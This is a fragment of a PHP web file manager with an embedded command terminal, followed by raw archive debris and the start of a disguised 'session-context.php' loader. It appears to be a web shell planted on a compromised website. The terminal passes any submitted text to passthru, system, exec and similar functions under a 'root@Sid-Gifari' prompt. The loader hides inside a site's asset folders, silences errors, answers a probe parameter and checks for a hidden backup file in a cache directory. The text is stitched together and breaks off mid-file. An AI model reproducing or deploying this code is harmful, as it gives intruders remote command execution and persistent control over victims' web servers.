            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      364262/session-context.php.tar                                                                      0000644                 00000005000 15243264725 0011762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/session-context.php                                       0000644                 00000001672 15243251320 0020640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
